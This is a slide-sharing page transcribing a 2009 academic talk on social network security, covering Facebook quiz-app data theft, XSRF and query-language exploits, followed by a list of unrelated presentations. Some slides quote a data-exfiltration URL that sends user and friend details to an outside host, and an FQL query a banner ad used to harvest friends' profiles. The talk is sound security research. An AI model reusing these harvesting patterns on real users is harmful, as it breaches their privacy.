Social Networks and Security Checkpoint Sep 7, 2009 Joseph - PowerPoint PPT Presentation

Sep 24, 2022 •214 likes •412 views

Social Networks and Security Checkpoint Sep 7, 2009 Joseph Bonneau, Computer Laboratory Global Players (4/2009) Credit: Vincenzo Cosenza Promotional Techniques Promotional Techniques Application Data Theft What happens when you take a

Social Networks and Security Checkpoint Sep 7, 2009 Joseph Bonneau, Computer Laboratory
Global Players (4/2009) Credit: Vincenzo Cosenza
Promotional Techniques
Promotional Techniques
Application Data Theft What happens when you take a quiz...
Application Data Theft Facebook Application Architecture
Application Data Theft http://sochr.com/i.php&name=[Joseph Bonneau]&nx=[My User ID]&age=[My DOB]&gender=[My Gender]&pic=[My Photo URL]&fname0=[Friend #1 Name 1]&fname1=[Friend #2 Name]&fname2=[Friend #3 Name]&fname3=[Friend #4 Name]&fpic0=[Friend #1 Photo URL]&fpic0=[Friend #2 Photo URL]&fpic0=[Friend #3 Photo URL]&fpic0=[Friend #4 Photo URL]&fb_session_params=[All of the quiz application's session parameters] URL for banner ad
Application Data Theft select uid, birthday, current_location, sex, first_name, name, pic_square, relationship_status FROM user WHERE uid IN (select uid2 from friend where uid1 = ‘[current user id]‘) and strlen(pic) > 0 order by rand() limit 500 Query made by banner ad through user's browser
Application Data Theft What the users sees...
Terms of Service Terms of Service, hi5: Most Terms of Service reserve broad rights to user data
My Reading List http://www.cl.cam.ac.uk/~jcb82/sns_bib/main.html
Facebook XSRF/Automatic Authentication Credit: Ronan Zilberman
Facebook Query Language Facebook Query Language Exploits (Bonneau, Anderson, Danezis, 2009)
Web 2.0? Function Internet version Facebook version Page Markup HTML, JavaScript FBML DB Queries SQL FBQL Email SMTP FB Mail Forums Usenet, etc. FB Groups Instant Messages XMPP FB Chat News Streams RSS FB Stream Authentication OpenID FB Connect Photo Sharing FB Photos Flickr, etc. Video Sharing YouTube, etc. FB Video FB Notes Blogging Blogger, etc. Microblogging Twitter, etc. FB Status Updates FB Points Micropayment Peppercoin, etc. E-Vite Event Planning FB Events Classified Ads craigslist FB Marketplace
The Downside of Re-inventing the Internet SNSs repeating all of the web's security problems  − Phishing − Spam − 419 Scams & Fraud − Identity Theft/Impersonation − Malware − Cross-site Scripting − Click-Fraud − Stalking, Harassment, Bullying, Blackmail
Poor Implementation
Poor Implementation Orkut Photo Tagging
Poor Implementation Facebook Connect
Password Sharing

Download Presentation

Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend

Security and Social Context or Why Facebook is Worth Fixing Security and Human Behavior Jun 12,

Security and Social Context or Why Facebook is Worth Fixing Security and Human Behavior Jun 12, 2009 Joseph Bonneau, Computer Laboratory Today I) Culture gap on social networks is hurting security II) The future of the internet is social

762 views • 17 slides

Unique Security Challenges for Online Social Networks ICT-Forward 2009 May 4, 2009 Joseph

Unique Security Challenges for Online Social Networks ICT-Forward 2009 May 4, 2009 Joseph Bonneau, Computer Laboratory Pessimistic View of Social Networks Just LAMP websites where you list your friends... The Surprising Depth of Facebook

667 views • 63 slides

SOCIAL SECURITY: WHAT YOU NEED TO KNOW Topics: What is Social Security? Will Social Security

SOCIAL SECURITY: WHAT YOU NEED TO KNOW Topics: What is Social Security? Will Social Security Be There For Me? How Do We Earn Credits? Who Can Get Benefits? When Should I Retire? How Do I Apply? What About Medicare? What is Social

578 views • 44 slides

Social security data and indicators y Social security Social security covers all measures

Social security data and indicators y Social security Social security covers all measures providing benefits, whether in p g f , cash or in kind, to secure protection, inter alia, from (a) lack of work-related income (or insufficient

608 views • 19 slides

Security and Privacy in Vehicular Social Networks Hongyu Jin, Mohammad Khodaei, and Panos

KTH ROYAL INSTITUTE OF TECHNOLOGY Security and Privacy in Vehicular Social Networks Hongyu Jin, Mohammad Khodaei, and Panos Papadimitratos Networked Systems Security Group (NSS) www.eecs.kth.se/nss Security and Privacy for Vehicular

385 views • 16 slides

Querying Geo-social Data by Bridging Spatial Networks and Social Networks Yerach Ben Yaron

Querying Geo-social Data by Bridging Spatial Networks and Social Networks Yerach Ben Yaron Doytsher Galon Kanza 1 Motivation Social networks provide valuable information on social relationships among people (users) Associating

1.25k views • 46 slides

Introduction Social and Economic Networks MohammadAmin Fazli Social and Economic Networks 1

Introduction Social and Economic Networks MohammadAmin Fazli Social and Economic Networks 1 Why Study Networks Social networks permeate our social and economic lives They play a central role in the transmission of information, .

562 views • 35 slides

International social security standards and challenges to social security Lessons for a

15 th PPF MEMBERS CONFERENCE Arusha 19-21 October 2005 International social security standards and challenges to social security Lessons for a Tanzanian reform debate Krzysztof Hagemejer Policy coordinator Social Security Department,

499 views • 47 slides

Social Security: An Overview For the National Academy of Social Insurance Demystifying Social

Social Security: An Overview For the National Academy of Social Insurance Demystifying Social Security: Academy for Interns July 22, 2010 Joni Lavery, Social Science Research Analyst Social Security Administration Office of Retirement Policy,

511 views • 16 slides

portable social networks with microformats social networks pownce.com ma.gnolia.com

creating portable social networks with microformats social networks pownce.com ma.gnolia.com edenbee.com upcoming.yahoo.com last.fm twitter.com flickr.com Social network fatigue? More important than that: freedom of movement; reducing

404 views • 25 slides

Learning to de-anonymize social networks A machine learning approach to social graph

Learning to de-anonymize social networks A machine learning approach to social graph de-anonymization Kumar Sharad October 28, 2016 Royal Holloway, University of London ACM Workshop on Artificial Intelligence and Security, Vienna, Austria

1.01k views • 69 slides

Graphs and social networks Social networks Active area of research motivated in part by

csci 210: Data Structures Graphs and social networks Social networks Active area of research motivated in part by growing public fascination withe the complex connectedness of modern society Social networks have grown in

590 views • 11 slides

SOCIAL NETWORKS OF ELDERLY PEOPLE Hayden Manseau 1 1. THE PROBLEM 2 THE IMPACT OF SOCIAL

SOCIAL NETWORKS OF ELDERLY PEOPLE Hayden Manseau 1 1. THE PROBLEM 2 THE IMPACT OF SOCIAL NETWORKS IN ELDERLY POPULATION Social Network Elderly Social Networks Reduced Social Networks Is defined as a subjective Could be family members,

129 views • 11 slides

A New Future for Social Security Consultation on Social Security in Scotland Background Why is

A New Future for Social Security Consultation on Social Security in Scotland Background Why is the Scottish Government Consulting? The Scotland Act 2016 makes provision for the transfer of responsibility for a number of social security

318 views • 17 slides

Why Should You Care About Social Security Benefits? Approximately 63M people receive social

Why Should You Care About Social Security Benefits? Approximately 63M people receive social security benefits every month Social Security accounts for 33% of average retirees income and 43% of unmarried persons rely on Social Security for

688 views • 29 slides

Social security for all: Labour Office Towards a social security floor Michael Cichon Social

International Social security for all: Labour Office Towards a social security floor Michael Cichon Social Security Department International Labour Office Geneva, 28 November 2007 The ILO Global Campaign to extend Social Security to all

670 views • 20 slides

HIP-based P2PSIP proxy HIP RG Meeting 70 th IETF Vancouver Joakim Koskela HIP-based P2PSIP

HIP-based P2PSIP proxy HIP RG Meeting 70 th IETF Vancouver Joakim Koskela HIP-based P2PSIP P2PSIP in general: replace SIP server architecture with a DHT Used for routing messages and locating peers & services New challenges

219 views • 8 slides

Masterclass: Security in data, cloud and blockchain Professor Trish Williams Cisco Chair and

Masterclass: Security in data, cloud and blockchain Professor Trish Williams Cisco Chair and Professor of Digital Health Systems Co-Director of Flinders Digital Health Research Centre College of Science and Engineering Flinders University,

839 views • 55 slides

Victim Legal Assistance Network A Georgia CJCC Vision 21 Project What is the Victim Legal

Victim Legal Assistance Network A Georgia CJCC Vision 21 Project What is the Victim Legal Assistance Network? (VLAN) VLAN is a network of victim service providers Core Partners provide comprehensive, pro bono "no-cost" legal

692 views • 29 slides

Cy Cyber ber La Lay of the he La Land nd What the Numbers Tell Us Cyber r Lay of f the

Cy Cyber ber La Lay of the he La Land nd What the Numbers Tell Us Cyber r Lay of f the Land: : Wh What t the Numbe mbers rs Tell l Us Visit www.advisenltd.com at the end of this webinar to download: Copy of these slides

722 views • 31 slides

Test Your Tech The dangers of phishing include A. Sharp hooks and nightcrawlers. B. Credit-card

Test Your Tech The dangers of phishing include A. Sharp hooks and nightcrawlers. B. Credit-card fraud at a look-alike Web site that mimics your bank. C. High mercury content in fish from polluted oceans. D.A. Clements, UW Information School 1

525 views • 25 slides

TF-IDF and Okapi BM25 LM, session 3 CS6200: Information Retrieval Binary Independence Models In

TF-IDF and Okapi BM25 LM, session 3 CS6200: Information Retrieval Binary Independence Models In Bayesian classification, we rank documents by their likelihood ratios P ( D | R = 1 ) calculated from some probabilistic model. P ( D | R = 0 ) The

548 views • 9 slides

Retrieval Strategy Retrieval Strategies: Vector Space Model An IR strategy is a technique by

Retrieval Strategy Retrieval Strategies: Vector Space Model An IR strategy is a technique by which a relevance measure is obtained between a and Boolean query and a document. (COSC 488) Nazli Goharian nazli@cs.georgetown.edu

75 views • 5 slides

CSE 7/5337: Information Retrieval and Web Search Scoring, term weighting, the vector space model

CSE 7/5337: Information Retrieval and Web Search Scoring, term weighting, the vector space model (IIR 6) Michael Hahsler Southern Methodist University These slides are largely based on the slides by Hinrich Sch utze Institute for Natural

715 views • 67 slides